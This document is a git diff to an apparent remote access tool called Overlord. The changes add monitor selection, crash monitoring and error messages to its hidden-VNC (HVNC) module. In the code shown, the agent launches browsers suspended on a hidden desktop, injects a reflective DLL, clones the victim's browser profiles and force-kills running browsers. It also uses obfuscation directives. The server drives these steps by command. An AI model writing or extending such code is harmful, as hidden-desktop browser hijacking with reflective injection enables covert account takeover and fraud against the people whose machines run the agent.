diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go index 240686d..fa9026b 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go @@ -4,7 +4,7 @@ package capture import "errors" -func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) { +func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { return 0, errors.New("HVNC injection not supported on this platform") } @@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s type DXGIStatusFunc func(success bool, gpuPID uint32, message string) type LaunchStatusFunc func(step string, success bool, detail string) -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { return errors.New("HVNC injection not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index 2caefd1..549d1c8 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -30,6 +30,7 @@ var ( procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW") procMapViewOfFile = kernel32.NewProc("MapViewOfFile") procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile") + procGetExitCodeProcess = kernel32.NewProc("GetExitCodeProcess") ) var advapi32 = syscall.NewLazyDLL("advapi32.dll") @@ -66,6 +67,58 @@ const ( IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b ) +func describeExitCode(code uint32) string { + switch code { + case 0: + return "normal exit" + case 0xC0000005: + return "access violation (0xC0000005)" + case 0xC0000374: + return "heap corruption (0xC0000374)" + case 0xC0000409: + return "stack buffer overrun (0xC0000409)" + case 0xC000001D: + return "illegal instruction (0xC000001D)" + case 0xC00000FD: + return "stack overflow (0xC00000FD)" + case 0xC0000096: + return "privileged instruction (0xC0000096)" + case 0x40010004: + return "debugger terminated process" + case 0xC000013A: + return "process killed by Ctrl+C" + case 1: + return "general error (exit code 1)" + default: + return fmt.Sprintf("exit code 0x%X (%d)", code, code) + } +} + +func monitorProcessCrash(pid uint32, label string, notify func(step string, success bool, detail string)) { + hProc, _, _ := procOpenProcess.Call( + SYNCHRONIZE|0x1000, // SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION + 0, uintptr(pid), + ) + if hProc == 0 { + return + } + defer procCloseHandle.Call(hProc) + + ret, _, _ := procWaitForSingleObject.Call(hProc, 8000) + if ret != 0 { + return + } + + var exitCode uint32 + procGetExitCodeProcess.Call(hProc, uintptr(unsafe.Pointer(&exitCode))) + + if exitCode == 0 { + notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode))) + } else { + notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode))) + } +} + // enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process. func enableDebugPrivilege() { var hToken uintptr @@ -103,7 +156,7 @@ func enableDebugPrivilege() { // StartHVNCProcessInjected starts a process suspended on the HVNC desktop, // injects the reflective DLL, then resumes it. // searchPath/replacePath are passed as environment variables for the DLL hooks. -func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) { +func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { if filePath == "" { return 0, fmt.Errorf("empty file path") } @@ -118,6 +171,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes captureDllBytes: captureDllBytes, searchPath: searchPath, replacePath: replacePath, + display: display, }, 30*time.Second) if err != nil { return 0, err @@ -125,7 +179,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes return result.pid, result.err } -func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { +func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { if onDXGIStatus != nil { hvncDXGIStatusCallback.Store(onDXGIStatus) } @@ -158,12 +212,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c } if isProcessRunning(processName) { notify("kill", true, fmt.Sprintf("killing running %s", processName)) - killProcess(processName) + killed := killProcess(processName) time.Sleep(1500 * time.Millisecond) if isProcessRunning(processName) { - notify("kill", false, fmt.Sprintf("%s still running after kill attempt", processName)) + notify("kill", false, fmt.Sprintf("%s still running after kill attempt (%d terminated)", processName, len(killed))) } else { - notify("kill", true, fmt.Sprintf("%s terminated", processName)) + notify("kill", true, fmt.Sprintf("terminated %d %s process(es) (PIDs %v)", len(killed), processName, killed)) } } else { notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName)) @@ -172,7 +226,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c if !clone { notify("launch", true, "starting without profile cloning") - pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "") + pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display) if err != nil { notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) return err @@ -184,6 +238,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c patchOperaAsync(pid, 5, 2*time.Second) }() } + if pid != 0 { + go func() { + defer recoverAndLog("hvnc crash monitor", nil) + monitorProcessCrash(pid, info.name, notify) + }() + } return nil } @@ -224,7 +284,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c } notify("launch", true, "starting with cloned profile") - pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir) + pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display) if err != nil { notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) return err @@ -236,12 +296,18 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c patchOperaAsync(pid, 5, 2*time.Second) }() } + if pid != 0 { + go func() { + defer recoverAndLog("hvnc crash monitor", nil) + monitorProcessCrash(pid, info.name, notify) + }() + } return nil } // StartHVNCChromeInjected is kept for backward compatibility. func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { - return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil, nil) + return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil) } type browserInfo struct { @@ -417,10 +483,10 @@ func isProcessRunning(name string) bool { return false } -func killProcess(name string) { +func killProcess(name string) []uint32 { snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0) if snapshot == uintptr(^uintptr(0)) { - return + return nil } defer procCloseHandle.Call(snapshot) @@ -437,11 +503,12 @@ func killProcess(name string) { ExeFile [260]uint16 } + var killed []uint32 var entry processEntry32 entry.Size = uint32(unsafe.Sizeof(entry)) ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry))) if ret == 0 { - return + return nil } target := strings.ToLower(name) for { @@ -449,9 +516,14 @@ func killProcess(name string) { if strings.ToLower(exeName) == target { hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE if hProc != 0 { - kernel32.NewProc("TerminateProcess").Call(hProc, 0) + r, _, _ := kernel32.NewProc("TerminateProcess").Call(hProc, 0) procCloseHandle.Call(hProc) - log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID) + if r != 0 { + killed = append(killed, entry.ProcessID) + log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID) + } else { + log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID) + } } } entry.Size = uint32(unsafe.Sizeof(entry)) @@ -460,6 +532,7 @@ func killProcess(name string) { break } } + return killed } func getBrowserUserDataDir(info browserInfo) string { @@ -785,7 +858,7 @@ func calcDirSize(dir string) int64 { return total } -func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) { +func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 if filePath == "" { return 0, fmt.Errorf("empty file path") @@ -805,7 +878,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD enableDebugPrivilege() // Create the process suspended on the HVNC desktop - hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes)) + hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display) if err != nil { procCloseHandle.Call(shmHandle) return 0, fmt.Errorf("failed to create suspended process: %v", err) @@ -1052,12 +1125,17 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er return handle, name, nil } -func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int) (hProcess, hThread uintptr, pid uint32, err error) { +func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) { desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) if err != nil { return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err) } - args := " --window-position=0,0" + posX, posY := 0, 0 + if mons := monitorList(); display >= 0 && display < len(mons) { + posX = mons[display].rect.Min.X + posY = mons[display].rect.Min.Y + } + args := fmt.Sprintf(" --window-position=%d,%d", posX, posY) chromiumExes := map[string]bool{ "chrome.exe": true, "brave.exe": true, @@ -1082,8 +1160,8 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName var pi processInformation si.cb = uint32(unsafe.Sizeof(si)) si.lpDesktop = desktopNamePtr - si.dwX = 0 - si.dwY = 0 + si.dwX = uint32(posX) + si.dwY = uint32(posY) si.dwFlags = STARTF_USEPOSITION envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize) diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go index bcc4a9a..69c9651 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go @@ -31,7 +31,7 @@ func HVNCMonitorCount() int { return 0 } -func StartHVNCProcess(filePath string, operaPatch bool) error { +func StartHVNCProcess(filePath string, operaPatch bool, display int) error { return errors.New("HVNC not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 4f0129d..5bdcb1b 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -490,9 +490,9 @@ func ensureHVNCThread() error { var result hvncTaskResult switch task.kind { case hvncTaskStartProcess: - result.pid, result.err = startHVNCProcessOnThread(task.filePath) + result.pid, result.err = startHVNCProcessOnThread(task.filePath, task.display) case hvncTaskStartProcessInjected: - result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath) + result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath, task.display) case hvncTaskMouseMove: result.err = hvncMouseMoveOnThread(task.display, task.x, task.y) case hvncTaskMouseDown: @@ -546,13 +546,14 @@ func hvncCaptureDisplay(display int) (*image.RGBA, error) { return result.img, result.err } -func StartHVNCProcess(filePath string, operaPatch bool) error { +func StartHVNCProcess(filePath string, operaPatch bool, display int) error { if filePath == "" { return fmt.Errorf("empty file path") } result, err := executeHVNCTask(hvncTask{ kind: hvncTaskStartProcess, filePath: strings.TrimSpace(filePath), + display: display, }, 10*time.Second) if err != nil { return err @@ -917,7 +918,7 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) { return img, nil } -func startHVNCProcessOnThread(filePath string) (uint32, error) { +func startHVNCProcessOnThread(filePath string, display int) (uint32, error) { if filePath == "" { return 0, fmt.Errorf("empty file path") } @@ -930,12 +931,17 @@ func startHVNCProcessOnThread(filePath string) (uint32, error) { if err != nil { return 0, fmt.Errorf("failed to convert command line: %v", err) } + posX, posY := 0, 0 + if mons := monitorList(); display >= 0 && display < len(mons) { + posX = mons[display].rect.Min.X + posY = mons[display].rect.Min.Y + } var si startupInfo var pi processInformation si.cb = uint32(unsafe.Sizeof(si)) si.lpDesktop = desktopNamePtr - si.dwX = 0 - si.dwY = 0 + si.dwX = uint32(posX) + si.dwY = uint32(posY) si.dwFlags = STARTF_USEPOSITION ret, _, callErr := procCreateProcessW.Call( @@ -971,7 +977,7 @@ func hvncAutoStartExplorerOnThread() error { } log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe") - _, err := startHVNCProcessOnThread("explorer.exe") + _, err := startHVNCProcessOnThread("explorer.exe", 0) if err != nil { return fmt.Errorf("auto-start explorer failed: %w", err) } diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 231c8da..52e2c2c 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1499,6 +1499,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in filePath := "" killExe := "" operaPatch := false + display := 0 if payload != nil { if v, ok := payload["path"].(string); ok { filePath = v @@ -1509,8 +1510,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if v, ok := payload["opera_patch"].(bool); ok { operaPatch = v } + if v, ok := payload["display"].(float64); ok { + display = int(v) + } } - log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch) + log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_process", nil, func() { sendLaunchStatus := func(step string, success bool, detail string) { @@ -1531,7 +1535,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath)) - if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil { + if err := capture.StartHVNCProcess(filePath, operaPatch, display); err != nil { log.Printf("hvnc: start process failed for %q: %v", filePath, err) sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err)) } else { @@ -1635,6 +1639,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in filePath := "" searchPath := "" replacePath := "" + display := 0 if payload != nil { if v, ok := payload["path"].(string); ok { filePath = v @@ -1645,6 +1650,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if v, ok := payload["replace_path"].(string); ok { replacePath = v } + if v, ok := payload["display"].(float64); ok { + display = int(v) + } } dllBytes := extractDLLBytes(payload) if len(dllBytes) == 0 { @@ -1652,10 +1660,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return nil } captureDllBytes := extractCaptureDLLBytes(payload) - log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes)) + log.Printf("hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes)) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_process_injected", nil, func() { - if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil { + if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil { log.Printf("hvnc: injected process failed for %q: %v", filePath, err) } }) @@ -1691,6 +1699,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in clone := true cloneLite := false killIfRunning := false + display := 0 if payload != nil { if v, ok := payload["browser"].(string); ok { browser = v @@ -1707,6 +1716,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if v, ok := payload["killIfRunning"].(bool); ok { killIfRunning = v } + if v, ok := payload["display"].(float64); ok { + display = int(v) + } } dllBytes := extractDLLBytes(payload) if len(dllBytes) == 0 { @@ -1717,7 +1729,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, false, "no browser specified") return nil } - log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes)) + log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes)) captureDllBytes := extractCaptureDLLBytes(payload) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_browser_injected", nil, func() { @@ -1751,7 +1763,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in Detail: detail, }) } - if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus, onLaunchStatus); err != nil { + if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil { log.Printf("hvnc: browser injected failed for %q: %v", browser, err) } }) diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 3d8e15b..179a710 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -400,7 +400,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; const step = msg.step || ""; const detail = msg.detail || ""; - if (!msg.success) { + if (step === "crashed" || step === "exited") { + launchStatusIcon.className = "fa-solid fa-skull-crossbones text-rose-400"; + launchStatusLabel.textContent = `${browser}: ${detail}`; + launchStatusLabel.className = "text-rose-300"; + launchHideTimer = setTimeout(() => { + launchStatusEl.classList.add("hidden"); + launchStatusEl.classList.remove("flex"); + }, 20000); + } else if (!msg.success) { launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400"; launchStatusLabel.textContent = `${browser} ${step}: ${detail}`; launchStatusLabel.className = "text-rose-300"; @@ -416,6 +424,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; launchStatusEl.classList.add("hidden"); launchStatusEl.classList.remove("flex"); }, 8000); + } else if (step === "kill") { + launchStatusIcon.className = "fa-solid fa-hand text-amber-400"; + launchStatusLabel.textContent = `${browser}: ${detail}`; + launchStatusLabel.className = "text-amber-300"; } else { launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400"; launchStatusLabel.textContent = `${browser} ${step}: ${detail}`; @@ -423,6 +435,35 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } } + function handleHVNCError(msg) { + const errorText = msg.error || msg.message || "Unknown HVNC error"; + console.error("hvnc: server error:", errorText); + if (!launchStatusEl) return; + if (launchHideTimer) { + clearTimeout(launchHideTimer); + launchHideTimer = null; + } + launchStatusEl.classList.remove("hidden"); + launchStatusEl.classList.add("flex"); + if (msg.critical) { + launchStatusIcon.className = "fa-solid fa-triangle-exclamation text-red-500 text-lg animate-pulse"; + launchStatusLabel.textContent = errorText; + launchStatusLabel.className = "text-red-400 font-bold"; + launchStatusEl.className = "flex items-center gap-2 bg-red-950/80 border-2 border-red-500 rounded-lg px-4 py-3 text-sm shadow-lg shadow-red-500/20"; + launchHideTimer = setTimeout(() => { + launchStatusEl.className = "hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"; + }, 30000); + } else { + launchStatusIcon.className = "fa-solid fa-circle-exclamation text-rose-400"; + launchStatusLabel.textContent = errorText; + launchStatusLabel.className = "text-rose-300"; + launchHideTimer = setTimeout(() => { + launchStatusEl.classList.add("hidden"); + launchStatusEl.classList.remove("flex"); + }, 15000); + } + } + function handleBrowserCheckResult(msg) { if (!msg.browsers || !contextMenu) return; contextMenu.querySelectorAll("[data-browser]").forEach((btn) => { @@ -929,7 +970,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; return; } if (msg && msg.type === "hvnc_error") { - console.error("hvnc: server error:", msg.error || msg.message); + handleHVNCError(msg); return; } if (msg && msg.type === "clipboard_content") { diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index c4ea13d..ee92472 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -1098,6 +1098,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st path: String(payload.path || ""), kill_exe: String(payload.kill_exe || ""), opera_patch: Boolean(payload.opera_patch), + display: state.display ?? 0, }); break; case "hvnc_kill_all": @@ -1107,7 +1108,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st const dllData = getInjectionDllBytes(); if (!dllData) { logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected"); - safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); + safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true }); break; } const captureDll = getCaptureDllBytes(); @@ -1116,6 +1117,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st search_path: String(payload.search_path || ""), replace_path: String(payload.replace_path || ""), dll: dllData, + display: state.display ?? 0, }; if (captureDll) cmdPayload.capture_dll = captureDll; sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload); @@ -1125,13 +1127,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st const dllData = getInjectionDllBytes(); if (!dllData) { logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected"); - safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); + safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true }); break; } const captureDllChrome = getCaptureDllBytes(); const chromeCmdPayload: Record = { path: String(payload.path || ""), dll: dllData, + display: state.display ?? 0, }; if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome; sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload); @@ -1141,7 +1144,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st const dllData = getInjectionDllBytes(); if (!dllData) { logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected"); - safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); + safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true }); break; } const captureDllBrowser = getCaptureDllBytes(); @@ -1152,6 +1155,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st cloneLite: payload.cloneLite === true, killIfRunning: payload.killIfRunning === true, dll: dllData, + display: state.display ?? 0, }; if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser; sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);